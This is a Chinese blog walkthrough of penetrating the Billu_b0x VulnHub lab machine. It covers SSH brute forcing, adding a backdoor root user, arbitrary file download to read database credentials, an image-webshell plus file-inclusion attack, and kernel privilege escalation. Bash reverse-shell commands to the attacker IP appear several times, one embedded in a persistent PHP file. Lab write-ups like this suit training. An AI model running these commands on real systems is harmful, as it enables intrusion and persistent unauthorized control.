【VulnHub靶机渗透】三：Billu_b0x

╰+哭是因爲堅強的太久メ 2023-07-20 15:58 12阅读 0赞

**VulnHub是一个安全平台，内含众多渗透测试的靶场镜像，只需要下载至本地并在虚拟机上运行，即可得到一个完整的渗透测试练习系统，每一个靶机都有相关目标去完成（万分感谢提供靶机镜像的同学）。**

--------------------

### 文章目录 ###

*   *  一、相关简介
     *  二、信息搜集
     *  三、渗透步骤
     *   *  1、ssh账户爆破
         *  2、Web站点渗透
         *   *  2.1、index.php
             *  2.2、add.php
             *  2.3、test.php：任意文件读取与下载
             *  2.4、phpmy：信息泄漏
             *  2.5、index.php 续：文件包含+图片马
         *  3、Linux内核提权
     *  三、总结

## 一、相关简介 ##

**靶机：**

**该靶机设定了一些常见的Web应用漏洞，如文件包含、任意文件下载、注入等。**

*  名称：Billu\_b0x
 *  系统：Linux Ubuntu（32位）
 *  难度：中级
 *  目标：利用Web应用程序进入系统并提权至root权限
 *  软件包：Apache、PHP、MySql

**环境：**

*  靶机：Billu\_b0x——192,168.11.22
 *  攻击机：Kali——192.168.11.11
 *  工具：Nmap、dirb、NetCat（nc）、BurpSuit、Sqlmap、whatweb、Xshell等

**流程：**

1.  信息搜集
2.  逐一服务进行渗透

## 二、信息搜集 ##

**注：（信息搜集也包含在渗透测试里边，但是为了过程更加直观，我将信息搜集单独写出来，望悉知）**

nmap进行主机端口信息扫描

nmap -sS -Pn -T4 -sV -O 192.168.11.22

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70]  
使用 whatweb 识别 Web 指纹信息

whatweb -v -a 3 192.168.11.22

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 1]  
使用dirb爆破Web目录  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 2]  
通过扫描大致得到以下信息：

*  目标IP：192.168.11.22
 *  OS：Linux（Ubuntu）
 *  22端口：ssh，OpenSSH
 *  80端口：http，Apache 2.2.22

访问扫描到的Web路径，得到以下信息：

*  **http://192.168.11.22/add：上传文件**
 *  **http://192.168.11.22/in：phpinfo函数**
 *  **http://192.168.11.22/index.php：登录界面**
 *  **http://192.168.11.22/phpmy/：phpmyadmin**
 *  **http://192.168.11.22/test：文件参数**
 *  http://192.168.11.22/c：空页面
 *  http://192.168.11.22/cmd：空页面
 *  http://192.168.11.22/head：空页面
 *  http://192.168.11.22/panel：空页面
 *  http://192.168.11.22/shell：空页面
 *  http://192.168.11.22/show：空页面
 *  http://192.168.11.22/server-status：权限不足
 *  http://192.168.11.22/cgi-bin/：权限不足
 *  http://192.168.11.22/index：登录界面，同 ./index.php
 *  http://192.168.11.22/uploaded\_images/：图片文件夹

## 三、渗透步骤 ##

### 1、ssh账户爆破 ###

**1）爆破并连接ssh服务**

首先试一下22端口爆破

hydra -L /usr/share/wordlists/uname_passwd/adminUser.txt -P /usr/share/wordlists/uname_passwd/adminPsd.txt -vV -t4 192.168.11.22 ssh

字典文件如下，是一个我经常用的小字典：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 3]  
妈耶，直接爆出了账户：root，123456  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 4]  
ok，使用 terminal 连接 ssh 来查看一下相关信息  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 5]  
直接就是root权限，么得意思  
![在这里插入图片描述][20200402132646894.png]  
**2）创建root权限用户，Web后台挂马**

还是惯例创建一个root权限用户，再搞一个挂马吧

既然是root权限，自然有对passwd文件的写权限，那么就可以创建一个用户 xiaohei，再修改器权限 id  
![在这里插入图片描述][20200402145516679.png]  
打开passwd文件，将xiaohei的权限值改为 0 0  
![在这里插入图片描述][20200402145008251.png]  
先切换到普通用户ica，在切换至xiaohei用户，查看其权限为root权限  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 6]  
ok，再挂马吧，找到网站根目录，一般Linux的默认Web目录都在 `/var/www` 下，也可以访问之前扫描出的一个phpinfo页面  
![在这里插入图片描述][20200402151612275.png]  
在站点下种马，使用蚁剑连接得到Webshell  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 7]

--------------------

### 2、Web站点渗透 ###

经过对爆出的路径进行分析以及页面提示，得到以下几个**疑似**可利用的弱点：

*  **http://192.168.11.22/index.php**
 *  **http://192.168.11.22/add**
 *  **http://192.168.11.22/test**
 *  **http://192.168.11.22/phpmy/**

下面就以这四个点逐一展开渗透，达到 getshell 并提权。

#### 2.1、index.php ####

虽然页面提示是一个sql注入漏洞，但是使用各种方法，无法成功注入。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 8]  
使用sqlmap进行注入，并且加入绕过插件

sqlmap -u http://192.168.11.22 --data="un=aaa&ps=bbb" --level=3 --tamper "base64encode.py,space2comment" --cookie="PHPSESSID=jjneulif3aon2c9l97ani7okd0"

sql注入依然未成功。

但是在扫描过程中，发现这两处存在XSS漏洞  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 9]  
插入beef-xss的代码，需要使用url编码来绕过，即可xss注入  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 10]  
看一下对方 cookie  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 11]  
但是是一个反射型XSS，用处不大，sql注入也未成功，先放下。

--------------------

#### 2.2、add.php ####

选择一个图片，填好内容后抓包，请求包如下：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 12]  
发现无论上传什么文件，都没有任何效果，索性选择主动响应该请求，查看响应包：  
![在这里插入图片描述][2020040322520112.png]  
好像不可以上传，先放下。

--------------------

#### 2.3、test.php：任意文件读取与下载 ####

**1）发现任意文件下载漏洞**

这个页面最为特殊，打开时页面提示`'file' parameter is empty. Please provide file path in 'file' parameter`，就是file参数为空，需要传入一个参数

尝试直接在URL里传入一个file，参数设置为刚才扫描到的index.php文件  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 13]  
依然提示为空，那极有可能是POST方式，抓包修改提交方式  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 14]  
再在数据区写`file=index.php`提交，此时页面依然提示参数为空，但是！但是！弹出来一个文件保存弹窗，存在文件包含的文件泄漏  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 15]  
**2）利用漏洞下载源码进行审计**

那么就可以把扫描到的所有文件保存下来进行源码审计了，最终得到了以下几个有用的信息：

*  **add.php：** 就是一个空壳文件，只写了上传部分的代码，其余的处理代码都没有，所以也就不是文件上传漏洞，哭了  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 16]
 *  **c.php**：是一个连接数据库的文件，包含了连接数据库的账号密码：`billu`、`b0x_billu`  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 17]
 *  **cmd.php：** 是一个 php 一句话木马，直接在 repeater 里看  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 18]
 *  **index.php：** 构造sql语句时过滤了单引号，虽然hex编码以及Unicode编码可以绕过，但是就是无法注入。。  
    ![在这里插入图片描述][2020040421112971.png]
 *  **panel.php：** 存在文件包含漏洞，将任意文件解析为php文件，之后可用于解析图片马  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 19]

再试一下能否下载其他路径文件，尝试passwd，惊喜！  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 20]  
居然可以拿到其他文件，而且还是高权限文件，再使用nmap扫描是否支持上传文件，发现不能  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 21]  
**3）审计phpmyadmin配置文件，得到数据库账户信息**

ok，那就利用文件泄露的漏洞来看一下phpmyadmin配置文件（因为发现的 `/phpmy/` 路径是phpmyadmin）

默认的phpmyadmin配置文件位于phpmyadmin文件夹下，一般以下两个都是：

*  `./libraries/config.default.php`
 *  `./config.inc,php`

下载第一个，因为当前phpmy已经是根目录，所以直接使用相对路径即可访问到  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 22]  
保存至本地后，查找user关键字，发现了一个root用户，但是没有密码  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 23]  
下载并查看另一个配置文件，得到了一组账户信息  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 24]  
再根据刚才`c.php`里的数据库账号密码，现在**得到了两组连接数据库的账户**：

*  **billu：b0x\_billu**
 *  **root：roottoor**

下面使用这两组账户，来登录phpmyadmin

--------------------

#### 2.4、phpmy：信息泄漏 ####

**1）登入phpmyadmin得到敏感信息**

phpmy是phpmyadmin管理界面， **root：roottoor** 登录失败，使用 **billu：b0x\_billu** 登录成功  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 25]  
`ica_lab库`里有三张表：

*  在`auth表`里发现了一个账户：`biLLu`、`hEx_it`（此帐户信息成功登入了index.php）  
    ![在这里插入图片描述][20200404221242160.png]
 *  `download表`内容含义暂时未知：  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 26]
 *  `user表`内容含义暂时未知：  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 27]

**2）利用phpmyadmin挂马**

继续phpmyadmin的测试，既然进入了phpmyadmin后台，自然要看一下能否利用phpmyadmin来挂马，在上一篇：[**VulnHub靶机系列之——Lazysysadmin**][VulnHub_Lazysysadmin] 中已经说到了phpmyadmin的两种挂马方法：  
![在这里插入图片描述][20200405144617961.png]  
但是两种方式都必须满足三个条件：

1.  未限制文件路径
2.  当前用户有写文件权限
3.  知道网站根目录

**2.1）利用outfile写文件挂马**

现在条件三已经满足，网站根目录是 `/var/www` ，查看是否对写文件的路径做以限制

show variables like '%secure%'

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 28]  
哇唔，没有限制，写一个php木马测试文件试试

select '<?php phpinfo(); ?)>' into outfile "/var/www/shell1.php"

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 29]  
唉，没有写文件的权限，后来试了一下，连新建数据库的权限都没有，哭了。

**2.2）利用日志文件挂马**

继续试一下日志文件能否挂马，查看全局日志情况

show variables like '%general%';

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 30]  
当前全局日志是关闭状态，且路径已经指定，所以必须是在root权限下，打开全局日志并修改路径。

set global general_log = on;
    set global general_log_file = '指定路径';

![打开全局日志：][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 31]  
唉，权限不足，两种方法都失败，那就无法使用phpmyadmin来拿到Webshell了。

--------------------

#### 2.5、index.php 续：文件包含+图片马 ####

**1）利用账户登录后台**

之前对index页面进行sql注入无果，因此也就没有成功登入。

但是由`auth表`中得到的账户，想到了之前 index.php 文件里构造sql查询语句时，查询的表就是这个auth表  
![在这里插入图片描述][2020040422160157.png]  
用这个账户成功登录，进入了页面后有两个选项，Show Users 是查询展示之前 user表里的用户  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 32]  
诶，这头像，似曾相识，之前在扫目录时有一个 `./uploaded_images/` 的文件夹，里边一张图就是这个头像，得到了头像路径  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 33]  
**2）上传图片马并建立反弹shell**

Add User 是创建一个用户，需要上传图片，盲猜上传的图片是用户头像，上边知道了其路径，那么在这里就可以上传一个图片马，再利用之前 `panel.php` 的文件包含漏洞，来Getshell  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 34]  
选一张最喜欢的小新头像，编辑器打开在末尾添加php一句话，制作图片马  
![在这里插入图片描述][20200405000317373.png]  
上传后，查看所有用户确认上传成功  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 35]打开panel.php页面，选择 Show Users并抓包修改数据包如下：

*  `load=show&continue=continue`  
    改为  
    `load=/uploaded_images/aaa.jpg&continue=continue&hack=phpinfo();`

发包，即可看到页面已经回显php信息，也就是成功执行木马  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 36]  
此时可以将eval函数改为system函数，用来执行Linux命令，建立反弹shell。重新制作图片马，一句话命令如下：  
![在这里插入图片描述][20200405000457735.png]  
同样的上传抓包，修改数据包，其中hack的传值改为测试语句`ls`：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 37]  
测试成功，那就可以**用bash来建立反弹shell**了，hack值改为以下建立反弹shell命令：

*  `hack=echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash`  
    （将输出的反弹shell语句，用bash来运行）

但是要对数据进行url编码，不然会将某些符号识别成关键字符，使用BurpSuit的Decoder模块对数据url编码：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 38]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 39]  
在kali上使用nc监听9999端口，发包即可建立shell连接，  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 40]  
切换之前创建的超级用户xiaohei，提示需要使用一个terminal环境，使用以下python语句创建一个terminal环境，即可切换至root用户：

python -c 'import pty;pty.spawn("/bin/bash")'

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 41]  
**3）在写权限的目录写入php木马（Webshell 和 反弹会话shell）**

找一个有写权限的目录，写php木马文件`shell.php`，比如刚才的`./uploaded_images` 目录  
![在这里插入图片描述][20200405132501114.png]  
蚁剑连接即可，这是**Webshell**，方便对站点文件进行操作  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 42]  
**当然，重点来了**，除了可以写入一个Webshell的php木马，还可以写一个**反弹shell**的会话木马`rev_shell.php`。

使用echo向rev\_shell.php文件写入以下语句，利用的是php system系统命令调用函数：

echo '<?php system('echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash'); ?>' >> rev_shell.php

![在这里插入图片描述][20200405225151638.png]  
此时在kali监听指定端口9999，在浏览器访问反弹shell文件`rev_shell.php`，即可建立反弹shell，之后都可以进行连接  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 43]  
**index页面渗透到此。**

--------------------

### 3、Linux内核提权 ###

根据网上大佬的WriteUp，得知该靶机还可以利用内核漏洞进行渗透提权。

利用得到的Webshell，使用以下语句查看目标主机系统内核版本以及Linux系统版本

*  `uname -a` ：内核版本
 *  `cat /etc/issue`：Linux系统版本

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 44]  
得到内核版本是`Linux indishell 3.13.0-32-generic`，系统版本是 `Ubuntu 12.04.5 LTS`，在kali上查询已有的exp  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 45]  
复制对应文件，赋予其可执行权限  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 46]  
使用Xshell发送至Windows本地，利用Webshell用蚁剑将其上传至网站下  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 47]  
修改权限为可执行文件  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 48]  
使用gcc编译文件： `gcc 37292.c -o exp` ，执行即可提权至root权限  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 49]

## 三、总结 ##

**1、本次渗透成功的地方有以下几处：**

*  ssh弱口令爆破，进入系统后本身就是root权限，重新创建root用户并挂马
 *  利用任意文件下载漏洞得到数据库账户，进入phpmyadmin后台得到用户账户
 *  使用得到的账户进入网站后台，利用文件包含与图片马拿到Webshell与会话shell，提权
 *  利用Linux内核版本漏洞提权

**2、有一处知识点：**

*  写入php木马建立反弹会话shell

原先只会利用上传文件或者是写文件，创建一个Webshell，但是Webshell的可操作性不高，一般只能对网站进行相关操作，而无法对目标系统实施控制，所以尝试了以下写入一个**建立反弹shell**的php文件，结果成功了！

php文件中添加的语句如下：

<?php system('echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash'); ?>

之后监听相应端口，访问该文件，即可建立反弹shell。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70]: /images/20230528/e859d242907a43028ab7dd6451b18a3a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 1]: /images/20230528/b3712c44e9554caeb488e796aa59aff6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 2]: /images/20230528/d13bafaec821433493e9239240f19ea5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 3]: /images/20230528/facfddb8a9b346b4aff68369040da010.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 4]: /images/20230528/fc2b5e515dcf4be8aef8dc5537a874ba.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 5]: /images/20230528/e0f84f25be684954aa27905f1db26de9.png
[20200402132646894.png]: /images/20230528/b94246e63cf24a4b8e46837213c7482a.png
[20200402145516679.png]: /images/20230528/2104bba579b2424f80767ae93d0d682a.png
[20200402145008251.png]: /images/20230528/9afe3721ca054116891dd0ab666c9cd1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 6]: /images/20230528/7646d9c4f0754513ab5664bd3ec3a98c.png
[20200402151612275.png]: /images/20230528/a3727db8ecb142e28e3355ee06ff85ea.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 7]: /images/20230528/bdf76508c3a34687a70ac34c4ed98367.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 8]: /images/20230528/cc8822fe71c34e468f00930455a99efb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 9]: /images/20230528/3c3536eb681f4f3397304286a665df4f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 10]: /images/20230528/f010b284e88f4d2fa943501457b4d1de.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 11]: /images/20230528/d51aa209220a429cb0237404f35fc141.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 12]: /images/20230528/c7d3f3b79b8947ba8f9c9e84ef74b2ce.png
[2020040322520112.png]: /images/20230528/0ad3ea37e354471cb40755c320df06f2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 13]: /images/20230528/5f4cd7517b464b64a5bbe1bd4a1af529.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 14]: /images/20230528/b562363f536a494bb4148d5634bdd6ad.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 15]: /images/20230528/a2d3989a6c624f448f122c1feb1bfa8f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 16]: /images/20230528/fe5895fd68fc471383ca8ee9f4c5f791.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 17]: /images/20230528/9155654e9bf3442dafe5024461d7ccde.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 18]: /images/20230528/1d6023a9fdfd4d46896111e7e409c55a.png
[2020040421112971.png]: /images/20230528/7395a3e7eb8146b9bb837e65693bcfd8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 19]: /images/20230528/f6d613dc2ca44cf7a2ce7d982825bebe.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 20]: /images/20230528/795f5505b52e4494816016acaef7e74e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 21]: /images/20230528/f99990d76c624d4fb037722a82910742.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 22]: /images/20230528/79ee561f9cd04066b6cac54efe601c49.png
